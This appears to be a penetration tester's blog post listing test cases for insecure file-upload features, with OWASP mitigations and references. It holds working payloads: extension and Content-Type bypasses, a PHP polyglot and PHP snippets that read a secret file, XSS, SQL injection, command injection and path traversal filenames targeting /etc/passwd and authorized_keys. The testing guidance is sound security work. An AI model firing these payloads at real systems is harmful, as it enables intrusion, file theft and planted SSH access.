Web App Pentesting: Test cases for File Upload
If an app has a file upload functionality, we can perform different test cases on this function. One of the things to check is the unrestricted file upload, a vulnerability in which an application fails to validate and restrict the types of files users can upload. This means an attacker can upload files containing malicious code, such as client side (XSS) e.g. SVG files or server side scripts, executables, or web shells. Another potential abuse for file upload function is to abuse the parsing or processing of different file formats (XXE). Also, dont forget to try uploading using the PUT request. Another thing is, if users are uploading files, e.g. photos in profile section of the app and these images are displayed to a lot of user base ( or even accessed without auth), try to check if the app is removing the metadata of the image (e.g. the exact location where images were uploaded, among other possible sensitive information)
In testing for file uploads, the first thing we would consider is where are the files being uploaded or stored ( if Graybox or Whitebox tests, ask the customer) and or monitor the backend calls. Modern applications now utilized third party services for file uploads. e.g Uploadcare , or the files could be stored to S3 or to AWS RDS service. In this scenario, we might not focus on trying server-side scripts since the location where its being saved is out of scope ( for RCE). (Attempting XXE injection on a web app powered by Lambda is another story, usually this is in-scope). We can then try to focus on client-side scripts. If files are uploaded or stored in the client’s onprem servers or database services running on customer’s EC2 or Azure VMs, we can try the payloads that will possibly perform some form of execution on the servers.
Test cases for Unrestricted File Uploads:
- Check what are file extensions allowed in the web app. This depends on the type of backend server
- .php, .html, .jsp, .svg, .asp, .aspx refer to Hacktrick or Payloadallthethings for a sample list. Use Intruder. - Try using some uppercase letters
- pHp, pHP5, PhAr, hTmL, etc - Try adding a valid extension before the execution extension
- exploit.png.php or exploit.php.png( double extension) - Check adding a valid extension at the end.
- exploit.php/.jpg ( app may save this as a .php file but recognizes as .jpg) - Try encoding
- exploit.php%0d%0a.jpg - Upload a file with a null byte injection
- exploit.php%00.jpg - Add semicolons before the file extension
- exploit.asp;.jpg - Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization.
- Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path. - Try positioning the prohibited string in such a way that removing it still leaves behind a valid file extension. For example, consider what happens if you strip .php from the following filename:
- exploit.p.phphp - Create a polyglot PHP/JPG file that is a normal image, but contains your PHP payload in its metadata
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" exploit.jpg -o polyglot.php
- Try to put the XSS payload in the name of the file
<svg onload=confirm()>test.jpg
test<img src=x onerror=alert()>.jpg
- Other test cases for vulnerabilities that affects the file name. Basically you put the payload as the file name or as the extension ( see the LFI example below)
- Time-Based SQLi Payloads: e.g. poc.js’(select*from(select(sleep(20)))a)+’.png
- LFI/Path Traversal Payloads: e.g. exploit.png../../../../../../../etc/passwd
- Another Path Traversal Payload: ../../../../../../../.ssh/authorized_keys
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="../../../../../../../.ssh/authorized_keys"
Content-Type: image/jpg
[tester's SSH key here]
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
- File Traversal e.g. ../../../tmp/exploit.png or ../webshell.php
- Command Injection in the filename e.g. ; sleep 10;
- Try to use extension as .html and change Content-Type to html/text
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="exploit.html"
Content-Type: html/text
- Try to send the request with no Content-Type
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="exploit.html"
<code here>
- Try to use extension as .jpg/png ( if app expects image only) but change Content-Type to text/html
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="exploit.jpg"
Content-Type: text/html
- Try leaving extension blank and Content-Type: text/html
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="file."
Content-Type: text/html
- Try using the extension only
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename=".html"
Content-Type: image/png
- Try to use especial characters in the names
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="exploit.jpg#/?&=+\.html"
Content-Type: image/jpeg
- Try to use Null byte
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="exploit.jpg%0d%0a.php"
Content-Type: application/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- Try changing Content-Type
- When uploading, Content Type could be: Content-Type: application/octet-stream or Content-Type: application/x-php try replacing it with image/jpeg/, image/jpg, image.png, image/gif
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
- Try to use Unicode
------WebKitFormBoundary6IrxqgTfmnW0FkOZ
Content-Disposition: form-data; name="uploadimage";
filename="exploit.jpg%u0025%u0030%u0039.php"
Content-Type: application/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- Try Magic Bytes
- Try to upload SVG files with XSS and other relevant payload.
For a comprehensive list of techniques, check Hacktricks, Payloadallthethings or the Udemy course of Martin Voelk.
For the hands on labs, try the Web Security Academy from Portswigger.
Mitigations/Remediations:
Below is a list taken for OWASP Cheat Sheet series on how to secure a file upload functionality. Please refer to the cheat sheet for a comprehensive recommendations.
- List allowed extensions. Only allow safe and critical extensions for business functionality
- Ensure that input validation is applied before validating the extensions. - Validate the file type, don’t trust the Content-Type header as it can be spoofed
- Change the filename to something generated by the application
- Set a filename length limit. Restrict the allowed characters if possible
- Set a file size limit
- Only allow authorized users to upload files
- Store the files on a different server. If that’s not possible, store them outside of the webroot
- In the case of public access to the files, use a handler that gets mapped to filenames inside the application (someid -> file.ext)
- Run the file through an antivirus or a sandbox if available to validate that it doesn’t contain malicious data
- Run the file through CDR (Content Disarm & Reconstruct) if applicable type (PDF, DOCX, etc…)
- Ensure that any libraries used are securely configured and kept up to date
- Protect the file upload from CSRF attacks
References:
https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/434.html
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://portswigger.net/web-security/file-upload
https://book.hacktricks.wiki/en/pentesting-web/file-upload/index.html
https://appsecexplained.gitbook.io/appsecexplained/common-vulns/insecure-file-upload
https://www.udemy.com/course/the-ultimate-web-application-bug-bounty-hunting-course
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types
Disclaimer:
The information provided on this blog is for general informational purposes only. While I always aim for accuracy, some details may be inaccurate and the list provided may not be complete. Having said this, I strongly recommend verifying any critical information against industry-standard documents and official sources (some are listed in the Reference section above) before making any decisions or taking action.
All opinions expressed here are my own and do not reflect the views or positions of my employer.